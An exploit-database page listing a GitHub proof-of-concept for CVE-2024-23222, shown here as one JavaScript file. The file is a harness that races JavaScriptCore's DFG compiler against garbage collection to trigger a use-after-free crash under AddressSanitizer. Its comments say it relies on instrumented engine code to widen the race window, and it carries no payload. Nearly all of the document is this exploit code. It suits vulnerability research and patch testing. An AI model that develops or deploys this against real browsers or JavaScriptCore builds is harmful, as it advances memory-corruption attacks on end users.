Exploit database

GH-ac822f608cc3c5c91b38b95792ac97db

fuzzysecurity/cassowary-cve-2024-23222-x86_64

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-23222

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

toctou_clean_asan_v2.js

JavaScript · 17,157 bytes
'use strict';

/* ============================================================
 * CLEAN ASAN POC: CVE-2024-23222 on Linux x86_64
 *
 * Goal:
 *   Reproduce an ASan-visible stale-cell crash on the vulnerable
 *   DFG `tryGetConstantProperty()` path.
 *
 * High-level shape:
 *   1. Build a small probe that reads `state.val`.
 *   2. Warm the probe enough for DFG optimization.
 *   3. Trigger compilation so the DFG worker constant-folds `state.val`
 *      through `Graph::tryGetConstantProperty()`.
 *   4. While the worker is suspended in the widened race window, drop the
 *      last JS reference to the target cell and force collection.
 *   5. Let ordinary JSC code consume the stale value and crash naturally.
 *
 * This file is intentionally parameterized through global variables so the
 * same harness can be used for:
 *   - the clean no-signal reproducer,
 *   - reduction work (sleep threshold, GC variants, pressure shaping),
 *   - stronger crash-hunting variants,
 *   - and controls such as "release only" / "GC only".
 *
 * Important limitations:
 *   - The engine-side race window is widened by research instrumentation in
 *     `DFGGraph.cpp` via a raw safepoint plus `usleep()`.
 *   - This is therefore not a stock-engine PoC.
 *   - The crash itself is still expected to come from ordinary JSC logic.
 * ============================================================ */

/**
 * Emits a consistent PoC log line in either `jsc` or a console-backed shell.
 *
 * @param {string} msg
 * @returns {void}
 */
const log = typeof print === 'function'
  ? (msg) => print('[clean-race] ' + msg)
  : (msg) => console.log('[clean-race] ' + msg);

/* =========================
 * Runtime Configuration
 * ========================= */

const SIGNAL_PATH = '/tmp/jsc_toctou_signal';
const BASELINE_WARMUP = 2000;
const POLL_SPINS = globalThis.CLEAN_RACE_POLL_SPINS || 2000000;
const STACK_DEPTH = globalThis.CLEAN_RACE_STACK_DEPTH || 256;
const SCRUB_ROUNDS = globalThis.CLEAN_RACE_SCRUB_ROUNDS || 64;
const PRESSURE_COUNT = globalThis.CLEAN_RACE_PRESSURE_COUNT || 20000;
const MAX_ATTEMPTS = globalThis.CLEAN_RACE_MAX_ATTEMPTS || 8;
const USE_SIGNAL = globalThis.CLEAN_RACE_USE_SIGNAL !== false;
const RELEASE_DELAY_SPINS = globalThis.CLEAN_RACE_RELEASE_DELAY_SPINS || 0;
const GC_MODE = globalThis.CLEAN_RACE_GC_MODE || 'full';
const READ_COUNT = globalThis.CLEAN_RACE_READ_COUNT || 1;
const RELEASE_MODE = globalThis.CLEAN_RACE_RELEASE_MODE || 'direct';
const RELEASE_DELAY_MS = globalThis.CLEAN_RACE_RELEASE_DELAY_MS || 0;
const RELEASE_DELAY_KIND = globalThis.CLEAN_RACE_RELEASE_DELAY_KIND || 'sleep';
const PROBE_MODE = globalThis.CLEAN_RACE_PROBE_MODE || 'bound-generated';
const PREWARM_WORKLIST = !!globalThis.CLEAN_RACE_PREWARM_WORKLIST;
const PREWARM_POLLS = globalThis.CLEAN_RACE_PREWARM_POLLS || 200000;
const GC_PASSES = globalThis.CLEAN_RACE_GC_PASSES || 3;
const USE_PRESSURE = globalThis.CLEAN_RACE_USE_PRESSURE !== false;
const PRESSURE_MODE = globalThis.CLEAN_RACE_PRESSURE_MODE || 'objects';
const RELEASE_EXECUTION = globalThis.CLEAN_RACE_RELEASE_EXECUTION || 'microtask';
const ISOLATED_ATTEMPT = !!globalThis.CLEAN_RACE_ISOLATED_ATTEMPT;
const SKIP_RELEASE = !!globalThis.CLEAN_RACE_SKIP_RELEASE;
const SKIP_GC = !!globalThis.CLEAN_RACE_SKIP_GC;

/* =========================
 * Signal Helpers
 * ========================= */

/**
 * Best-effort cleanup of the external signal file used by some synchronized
 * variants of the harness.
 *
 * @returns {void}
 */
function removeSignal() {
  try {
    if (typeof os !== 'undefined' && os.file && os.file.remove)
      os.file.remove(SIGNAL_PATH);
  } catch (e) {
  }
}

/**
 * Reads the external signal file written by the instrumented C++ side just
 * before the widened safepoint begins.
 *
 * @returns {boolean}
 */
function readSignal() {
  try {
    const data = read(SIGNAL_PATH);
    return !!data && data.trim() === '1';
  } catch (e) {
    return false;
  }
}

/* =========================
 * GC and Pressure Helpers
 * ========================= */

/**
 * Executes one GC pass using the currently selected GC mode.
 *
 * Modes:
 *   - `full`: fullGC() when available, else gc()
 *   - `gc`: gc() when available, else fullGC()
 *   - `eden`: edenGC() when available, else gc()
 *   - `async-sweep`: `$vm.gcSweepAsynchronously()` when available
 *
 * @returns {void}
 */
function gcNow() {
  if (GC_MODE === 'gc') {
    if (typeof gc === 'function')
      gc();
    else if (typeof fullGC === 'function')
      fullGC();
    return;
  }

  if (GC_MODE === 'eden') {
    if (typeof edenGC === 'function')
      edenGC();
    else if (typeof gc === 'function')
      gc();
    return;
  }

  if (GC_MODE === 'async-sweep') {
    if (typeof $vm !== 'undefined' && $vm && typeof $vm.gcSweepAsynchronously === 'function') {
      $vm.gcSweepAsynchronously();
      return;
    }
    if (typeof gc === 'function') {
      gc();
      return;
    }
  }

  if (typeof fullGC === 'function')
    fullGC();
  else if (typeof gc === 'function')
    gc();
}

/**
 * Returns a monotonic-ish time source for delay control.
 *
 * Note:
 *   In this shell `$agent.monotonicNow()` is often unavailable, in which case
 *   we fall back to `Date.now()`. This is why `sleep` timing is preferred over
 *   busy-wait timing in the cleaner variants.
 *
 * @returns {number}
 */
function monotonicMs() {
  if (typeof $agent !== 'undefined' && $agent && typeof $agent.monotonicNow === 'function')
    return $agent.monotonicNow();
  return Date.now();
}

/**
 * Recursively fills stack slots with arithmetic junk to reduce accidental
 * conservative rooting of interesting values.
 *
 * @param {number} depth
 * @param {number} seed
 * @returns {number}
 */
function stackScrub(depth, seed) {
  const a0 = seed + 1;
  const a1 = seed + 2;
  const a2 = seed + 3;
  const a3 = seed + 4;
  const a4 = seed + 5;
  const a5 = seed + 6;
  const a6 = seed + 7;
  const a7 = seed + 8;
  if (!depth)
    return a0 + a1 + a2 + a3 + a4 + a5 + a6 + a7;
  return stackScrub(depth - 1, seed + a0 + a3 + a6);
}

/**
 * Repeatedly calls `stackScrub()` to overwrite interpreter-frame state and
 * create mild scheduling noise.
 *
 * @param {number} rounds
 * @returns {number}
 */
function burnInterpreterRegisters(rounds) {
  let acc = 0;
  for (let i = 0; i < rounds; i++)
    acc += stackScrub(STACK_DEPTH, i);
  return acc;
}

/**
 * Applies heap pressure using one of several allocation patterns.
 *
 * `objects`:
 *   Many small object literals.
 * `arraybuffer`:
 *   Many ArrayBuffers of equal size.
 * `buffer-chain`:
 *   Linked list of ArrayBuffers to discourage trivial dead-store elision.
 *
 * @returns {*}
 */
function allocatePressure() {
  if (PRESSURE_MODE === 'buffer-chain') {
    let head = null;
    const BufferCtor = ArrayBuffer;
    for (let i = 0; i < PRESSURE_COUNT; i++) {
      head = {
        buf: new BufferCtor(256),
        next: head,
      };
    }
    return head;
  }

  if (PRESSURE_MODE === 'arraybuffer') {
    const junk = new Array(PRESSURE_COUNT);
    const BufferCtor = ArrayBuffer;
    for (let i = 0; i < junk.length; i++)
      junk[i] = new BufferCtor(256);
    return junk;
  }

  const junk = [];
  for (let i = 0; i < PRESSURE_COUNT; i++) {
    junk.push({
      a: i,
      b: i + 1,
      c: i + 2,
      d: i + 3,
      e: i + 4,
      f: i + 5,
      g: i + 6,
      h: i + 7,
    });
  }
  return junk.length;
}

/**
 * Performs the configured number of collection passes, optionally adding
 * allocation pressure after each pass.
 *
 * @returns {void}
 */
function runGcSequence() {
  for (let pass = 0; pass < GC_PASSES; pass++) {
    gcNow();
    if (USE_PRESSURE)
      allocatePressure();
  }
}

/* =========================
 * Probe Construction
 * ========================= */

/**
 * Builds the function whose `state.val` read is intended to enter the DFG
 * constant-folding path.
 *
 * Probe families:
 *   - `bound-generated`: generated function with explicit reads of `state.val`
 *   - `bound-generated-if`: smaller `if (state.val)` shape
 *   - `bound-generated-bool`: smallest `!!state.val` shape
 *   - `closure-*`: closure-based variants used for alternate compiler shapes
 *
 * @param {{val: *, pad: number}} state
 * @returns {Function}
 */
function buildProbe(state) {
  if (PROBE_MODE === 'bound-generated-if') {
    return new Function(
      'state',
      'if (state.val) return 1; return 0;'
    ).bind(null, state);
  }

  if (PROBE_MODE === 'bound-generated-bool') {
    return new Function(
      'state',
      'return !!state.val;'
    ).bind(null, state);
  }

  if (PROBE_MODE === 'closure-simple') {
    return function probe() {
      const cell = state.val;
      return cell ? 1 : 0;
    };
  }

  if (PROBE_MODE === 'closure-doublecheck') {
    return function probe() {
      if (!state.val)
        return 0;
      return 1;
    };
  }

  if (PROBE_MODE === 'closure-local') {
    return function probe() {
      const localState = state;
      const cell = localState.val;
      return cell ? 1 : 0;
    };
  }

  const declarations = [];
  const terms = [];
  for (let i = 0; i < READ_COUNT; i++) {
    declarations.push(`const v${i} = state.val;`);
    terms.push(`(v${i} ? 1 : 0)`);
  }
  return new Function(
    'state',
    `${declarations.join(' ')} return ${terms.join(' + ')};`
  ).bind(null, state);
}

/**
 * Optionally prewarms the global DFG worklist by forcing a dummy function to
 * compile first. This is useful when separating worklist startup effects from
 * the target race itself.
 *
 * @returns {boolean}
 */
function prewarmCompilerWorklist() {
  function dummy(value) {
    return value + 1;
  }

  for (let i = 0; i < BASELINE_WARMUP; i++)
    dummy(i);

  optimizeNextInvocation(dummy);
  dummy(1);

  for (let spin = 0; spin < PREWARM_POLLS; spin++) {
    if (numberOfDFGCompiles(dummy) > 0) {
      log('prewarm: dummy DFG compile observed at spin ' + spin);
      return true;
    }
    if (spin && !(spin % 10000))
      dummy(spin);
  }

  log('prewarm: dummy DFG compile not observed');
  return false;
}

/**
 * Waits before the release step using either:
 *   - a real sleep,
 *   - a busy loop keyed off monotonic time,
 *   - or a raw spin count.
 *
 * Cleaner runs generally prefer `sleep`, because busy timing often falls back
 * to `Date.now()` and can itself create extra fold noise.
 *
 * @returns {void}
 */
function waitForReleaseDelay() {
  if (RELEASE_DELAY_MS > 0) {
    if (RELEASE_DELAY_KIND === 'sleep') {
      sleepSeconds(RELEASE_DELAY_MS / 1000);
      return;
    }

    const deadline = monotonicMs() + RELEASE_DELAY_MS;
    while (monotonicMs() < deadline)
      burnInterpreterRegisters(1);
    return;
  }

  for (let spin = 0; spin < RELEASE_DELAY_SPINS; spin++) {
    if (spin && !(spin % 250000))
      burnInterpreterRegisters(4);
  }
}

/* =========================
 * Attempt Shapes
 * ========================= */

/**
 * Builds the standard attempt object used by the normal harness.
 *
 * This is the most important shape to understand:
 *   - `startCompilation()` performs warmup and the optimize trigger
 *   - `releaseAndCollect()` drops the last JS references and runs collection
 *
 * @param {number} attemptId
 * @returns {{compileCount: function(): number, releaseAndCollect: function(): void, startCompilation: function(): *}}
 */
function makeAttempt(attemptId) {
  const state = (() => {
    const s = {
      val: { x: 1, y: 2, z: 3, w: 4 },
      pad: attemptId,
    };
    Object.seal(s);
    return s;
  })();

  let probe = buildProbe(state);

  /**
   * Keeps the probe hot enough to enter the optimized tiers on the next
   * requested invocation.
   *
   * @returns {void}
   */
  function warmBaseline() {
    for (let i = 0; i < BASELINE_WARMUP; i++)
      probe();
  }

  /**
   * Performs the exact invocation that marks the probe for optimization and
   * then triggers compilation.
   *
   * @returns {*}
   */
  function startCompilation() {
    warmBaseline();
    optimizeNextInvocation(probe);
    return probe();
  }

  /**
   * Drops JS references to the target cell and drives collection from either
   * the current stack or a microtask, depending on `RELEASE_EXECUTION`.
   *
   * @returns {void}
   */
  function releaseAndCollect() {
    if (!SKIP_RELEASE)
      state.val = 0;
    probe = null;

    burnInterpreterRegisters(SCRUB_ROUNDS);

    const finishCollection = () => {
      burnInterpreterRegisters(SCRUB_ROUNDS);
      if (!SKIP_GC)
        runGcSequence();
    };

    if (RELEASE_EXECUTION === 'sync') {
      finishCollection();
      return;
    }

    Promise.resolve().then(() => {
      finishCollection();
    });
    drainMicrotasks();
  }

  /**
   * Adds an outer scheduling choice around `releaseAndCollect()`.
   *
   * @returns {void}
   */
  function releaseViaMode() {
    if (RELEASE_MODE === 'microtask') {
      Promise.resolve().then(() => {
        releaseAndCollect();
      });
      drainMicrotasks();
      return;
    }

    if (RELEASE_MODE === 'timeout') {
      let done = false;
      setTimeout(() => {
        releaseAndCollect();
        done = true;
      }, 0);
      while (!done)
        sleepSeconds(0.01);
      return;
    }

    releaseAndCollect();
  }

  /**
   * Helper used only for diagnostics when a signaled attempt times out.
   *
   * @returns {number}
   */
  function compileCount() {
    return probe ? numberOfDFGCompiles(probe) : -1;
  }

  return {
    compileCount,
    releaseAndCollect: releaseViaMode,
    startCompilation,
  };
}

/**
 * Variant attempt shape that keeps the whole attempt inside one closure.
 * Useful when experimenting with harness-shape effects on folding behavior.
 *
 * @param {number} attemptId
 * @returns {boolean}
 */
function runIsolatedAttempt(attemptId) {
  removeSignal();

  const state = {
    val: { x: 1, y: 2, z: 3, w: 4 },
    pad: attemptId,
  };
  Object.seal(state);

  let probe = buildProbe(state);

  for (let i = 0; i < BASELINE_WARMUP; i++)
    probe();

  optimizeNextInvocation(probe);
  const initialResult = probe();
  log('attempt ' + attemptId + ': startCompilation() -> ' + initialResult);

  if (!USE_SIGNAL) {
    waitForReleaseDelay();
    log('attempt ' + attemptId + ': proceeding without signal after delaySpins=' + RELEASE_DELAY_SPINS + ' delayMs=' + RELEASE_DELAY_MS + ' delayKind=' + RELEASE_DELAY_KIND);
  } else {
    let sawSignal = false;
    for (let spin = 0; spin < POLL_SPINS; spin++) {
      if (!readSignal()) {
        if (spin && !(spin % 250000))
          burnInterpreterRegisters(4);
        continue;
      }
      log('attempt ' + attemptId + ': signal observed at spin ' + spin);
      sawSignal = true;
      break;
    }
    if (!sawSignal) {
      log('attempt ' + attemptId + ': no signal, DFG compiles=' + numberOfDFGCompiles(probe));
      return false;
    }
  }

  if (!SKIP_RELEASE)
    state.val = 0;
  probe = null;

  burnInterpreterRegisters(SCRUB_ROUNDS);

  const finishCollection = () => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    if (!SKIP_GC)
      runGcSequence();
  };

  if (RELEASE_EXECUTION === 'sync')
    finishCollection();
  else {
    Promise.resolve().then(() => {
      finishCollection();
    });
    drainMicrotasks();
  }

  log('attempt ' + attemptId + ': GC sequence finished');
  return true;
}

/**
 * Executes one attempt using either the standard attempt object or the
 * isolated shape, depending on configuration.
 *
 * @param {number} attemptId
 * @returns {boolean}
 */
function runAttempt(attemptId) {
  if (ISOLATED_ATTEMPT)
    return runIsolatedAttempt(attemptId);

  removeSignal();
  const attempt = makeAttempt(attemptId);
  const initialResult = attempt.startCompilation();
  log('attempt ' + attemptId + ': startCompilation() -> ' + initialResult);

  if (!USE_SIGNAL) {
    waitForReleaseDelay();
    log('attempt ' + attemptId + ': proceeding without signal after delaySpins=' + RELEASE_DELAY_SPINS + ' delayMs=' + RELEASE_DELAY_MS + ' delayKind=' + RELEASE_DELAY_KIND);
    attempt.releaseAndCollect();
    log('attempt ' + attemptId + ': GC sequence finished');
    return true;
  }

  for (let spin = 0; spin < POLL_SPINS; spin++) {
    if (!readSignal()) {
      if (spin && !(spin % 250000))
        burnInterpreterRegisters(4);
      continue;
    }

    log('attempt ' + attemptId + ': signal observed at spin ' + spin);
    attempt.releaseAndCollect();
    log('attempt ' + attemptId + ': GC sequence finished');
    return true;
  }

  log('attempt ' + attemptId + ': no signal, DFG compiles=' + attempt.compileCount());
  return false;
}

/* =========================
 * Entry Point
 * ========================= */

log(
  'clean CVE-2024-23222 x86_64 ASan attempt ' +
  'signal=' + USE_SIGNAL +
  ' delaySpins=' + RELEASE_DELAY_SPINS +
  ' delayMs=' + RELEASE_DELAY_MS +
  ' delayKind=' + RELEASE_DELAY_KIND +
  ' gc=' + GC_MODE +
  ' reads=' + READ_COUNT +
  ' release=' + RELEASE_MODE +
  ' probe=' + PROBE_MODE
);

if (PREWARM_WORKLIST)
  prewarmCompilerWorklist();

for (let attemptId = 1; attemptId <= MAX_ATTEMPTS; attemptId++) {
  if (runAttempt(attemptId))
    break;
}

log('done');